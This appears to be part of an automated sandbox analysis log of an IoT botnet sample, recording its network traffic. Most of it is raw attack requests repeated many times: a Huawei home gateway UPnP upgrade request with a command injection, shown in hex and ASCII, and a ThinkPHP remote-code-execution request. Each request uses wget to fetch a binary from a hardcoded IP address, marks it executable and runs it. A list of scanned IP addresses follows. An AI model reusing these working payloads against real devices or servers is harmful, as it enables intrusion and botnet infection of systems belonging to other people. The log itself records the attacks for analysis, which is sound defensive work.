3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 157.189.55.135
Source: unknown	TCP traffic detected without corresponding DNS query: 157.147.238.186
Source: unknown	TCP traffic detected without corresponding DNS query: 157.115.56.95
Source: unknown	TCP traffic detected without corresponding DNS query: 157.87.181.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.174.115.244
Source: unknown	TCP traffic detected without corresponding DNS query: 41.107.86.189
Source: unknown	TCP traffic detected without corresponding DNS query: 173.155.49.17
Source: unknown	TCP traffic detected without corresponding DNS query: 37.80.86.165
Source: unknown	TCP traffic detected without corresponding DNS query: 221.200.167.164
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 157.66.238.102
Source: unknown	TCP traffic detected without corresponding DNS query: 23.141.91.228
Source: unknown	TCP traffic detected without corresponding DNS query: 203.201.15.112
Source: unknown	TCP traffic detected without corresponding DNS query: 157.37.107.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.204.52
Source: unknown	TCP traffic detected without corresponding DNS query: 157.203.14.217
Source: unknown	TCP traffic detected without corresponding DNS query: 17.113.7.103
Source: unknown	TCP traffic detected without corresponding DNS query: 125.230.182.28
Source: unknown	TCP traffic detected without corresponding DNS query: 157.119.223.145
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.141.245
Source: unknown	TCP traffic detected without corresponding DNS query: 143.179.199.146
Source: unknown	TCP traffic detected without corresponding DNS query: 197.77.131.53
Source: unknown	TCP traffic detected without corresponding DNS query: 157.233.134.27
Source: unknown	TCP traffic detected without corresponding DNS query: 197.23.80.245
Source: unknown	TCP traffic detected without corresponding DNS query: 197.30.15.103
Source: unknown	TCP traffic detected without corresponding DNS query: 47.7.162.229
Source: unknown	TCP traffic detected without corresponding DNS query: 41.242.31.133
Source: unknown	TCP traffic detected without corresponding DNS query: 86.49.143.0
Source: unknown	TCP traffic detected without corresponding DNS query: 197.4.26.126
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.85.150
Source: unknown	TCP traffic detected without corresponding DNS query: 41.143.61.103
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.255.134
Source: unknown	TCP traffic detected without corresponding DNS query: 157.236.245.35
Source: unknown	TCP traffic detected without corresponding DNS query: 175.193.29.172
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.189.109
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.17.115
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.240.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.7.238
Source: unknown	TCP traffic detected without corresponding DNS query: 157.215.252.1
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.149.129
Source: unknown	TCP traffic detected without corresponding DNS query: 41.76.26.43
Source: unknown	TCP traffic detected without corresponding DNS query: 197.155.27.254
Source: unknown	TCP traffic detected without corresponding DNS query: 41.226.72.201
Source: unknown	TCP traffic detected without corresponding DNS query: 197.17.13.46
Source: unknown	TCP traffic detected without corresponding DNS query: 157.170.128.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.127.202.249
Source: unknown	TCP traffic detected without corresponding DNS query: 207.93.222.13
Source: unknown	TCP traffic detected without corresponding DNS query: 157.143.196.120
Source: unknown	TCP traffic detected without corresponding DNS query: 41.143.175.164
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.68.190

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
